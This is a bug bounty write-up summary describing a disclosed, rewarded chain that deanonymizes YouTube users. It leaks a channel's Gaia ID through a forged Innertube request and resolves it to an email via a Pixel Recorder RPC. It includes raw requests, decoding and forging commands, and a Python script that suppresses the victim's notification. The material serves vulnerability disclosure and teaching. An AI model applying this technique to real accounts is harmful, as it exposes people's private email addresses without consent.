# Leaking the email of any YouTube user for $10,000

Chained a YouTube Innertube endpoint leaking any channel's obfuscated Gaia ID with a Pixel Recorder RPC that resolves Gaia IDs to emails, deanonymizing any YouTube user.

- Payout: $10,633
- Severity: high
- Program: Google
- Found by: brutecat
- Disclosed: 2025-02-12
- Write-up quality: 9/10
- Original: https://brutecat.com/articles/leaking-youtube-emails
- Library page: https://bugbountylibrary.com/r/blog%3Abrutecat-com-articles-leaking-youtube-emails
- Tags: area:web domain:api domain:web impact:data-leak impact:pii-leak kind:bounty platform:blog sev:high tech:rest technique:chained technique:source-review vuln:access-control vuln:idor vuln:info-disclosure

**Target:** YouTube Innertube live_chat/get_item_context_menu + Pixel Recorder PlaybackService WriteShareList RPC
**Root cause:** get_item_context_menu returns a moderateLiveChatEndpoint protobuf containing the target channel's obfuscated Gaia ID without authorization; Pixel Recorder's WriteShareList accepts an arbitrary obfuscated Gaia ID and returns the resolved email in the response.
**Steps:**
1. Decode `get_item_context_menu` params (base64->base64->protobuf) to see channel ID field
2. Replace channel ID with target's `UC...` ID, re-encode, POST to `/youtubei/v1/live_chat/get_item_context_menu`
3. Decode returned `moderateLiveChatEndpoint.params` to extract target's obfuscated Gaia ID
4. POST to `pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList` with body `["<recording_id>",null,[["<gaia_id>",2,null]]]`
5. Read response `[[null,2,"<email>"]]` (second element of the response array) to obtain victim email
6. To suppress notification email: call `UpdateRecordingTitle` with 2.5M-char title first, then share
7. Cleanup: remove target from share list
**How found:** Reading Internal People API discovery doc revealed BlockedTarget uses obfuscated Gaia ID; tested blocking a live chat user and saw Gaia ID in blocklist. Then inspected the context-menu request protobuf and realized channel ID could be substituted to leak Gaia ID for any channel. Separately, tested Pixel Recorder share flow and noticed WriteShareList response echoed the resolved email.
**Exploitation:** Attacker needs a Google account and a Pixel Recorder recording. Leak Gaia ID via unauthenticated-ish Innertube call, then abuse WriteShareList to resolve to email. Notification email suppressed by overflowing recording title length (no server-side limit).
**Escalation:** Escalated from live-chat-only users to any YouTube channel (including Topic channels with no chat) by faking the context-menu protobuf; then chained to email resolution via forgotten Pixel Recorder product.
**Insight:** Google discovery documents and base64 protobuf params in Innertube endpoints often expose internal identifiers (Gaia IDs) that other legacy products will happily resolve; grep old product RPCs for endpoints that accept obfuscated Gaia IDs and echo back PII.

## Proof of concept (copied exactly from the original report)

**Pixel Recorder WriteShareList returns email from Gaia ID**

```
POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2
Host: pixelrecorder-pa.clients6.google.com
Cookie: <redacted>
Content-Length: 80
Authorization: <redacted>
X-Goog-Api-Key: [redacted]
Content-Type: application/json+protobuf
Referer: https://recorder.google.com/

["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]
Response

HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"vrptest2@gmail.com"]]]
```

**get_item_context_menu leaks channel Gaia ID via forged params**

```
echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
3 {
 5 {
 1: "UChs0pSaEoNLV4mevBFGaoKA"
 2: "36YnV9STBqc"
 }
}
6 {
 1: "UCSE-aYOb-uCg059qHRis_ow"
}
Seems to just contain the channel ID of the channel we're blocking, the livestream video ID and livestream author ID. Let's try to fake the request params with our own target's channel ID.

For this test, we'll use a Topic Channel since they are auto-generated by YouTube and guaranteed to not have any live chat messages.

$ echo -n "<SNIP>" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64
R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=
Testing this on /youtubei/v1/live_chat/get_item_context_menu:

...
"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}
...

echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
 5 {
 1: "UChs0pSaEoNLV4mevBFGaoKA"
 2: "36YnV9STBqc"
 }
}
10: 0
11: 1
12 {
 1: "103261974221829892167"
 2: "D2LZAT1j1DyVXq2R2BdusQ"
```

**Python script sets 2.5M-char title to suppress notification**

```
import requests

BASE_URL = "https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/"

headers = {
 "Host": "pixelrecorder-pa.clients6.google.com",
 "Content-Type": "application/json+protobuf",
 "X-Goog-Api-Key": "[redacted]",
 "Origin": "https://recorder.google.com"
}

def get_recording_uuid(share_id: str):
 payload = f"[\"{share_id}\"]"
 response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload)
 if response.status_code != 200:
 print("unknown error when getting recording uuid: ", response.json())
 exit(1)
 try:
 response = response.json()
 except:
 print('can\'t parse response when getting recording uuid: ', response.text)
 exit(1)

 return response["recording"]["uuid"]

def update_recording_title(share_id: str):
 x = 'X'*2500000 # 2.5 million char long title name!
 payload = f'["{share_id}","{x}"]'
 response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload)
 if response.status_code != 200:
 print("unknown error when updating recording title: ", response.json())
 exit(1)

def main():
 share_id = input("Enter share ID: ")
 headers["Cookie"] = input("Cookie header:" )
 headers["Authorization"] = input("Authorization header: ")
 uuid = get_recording_uuid(share_id)
 print("UUID:", uuid)
 update_recording_title(uuid)
 print("Updated recording title successfully.")
```

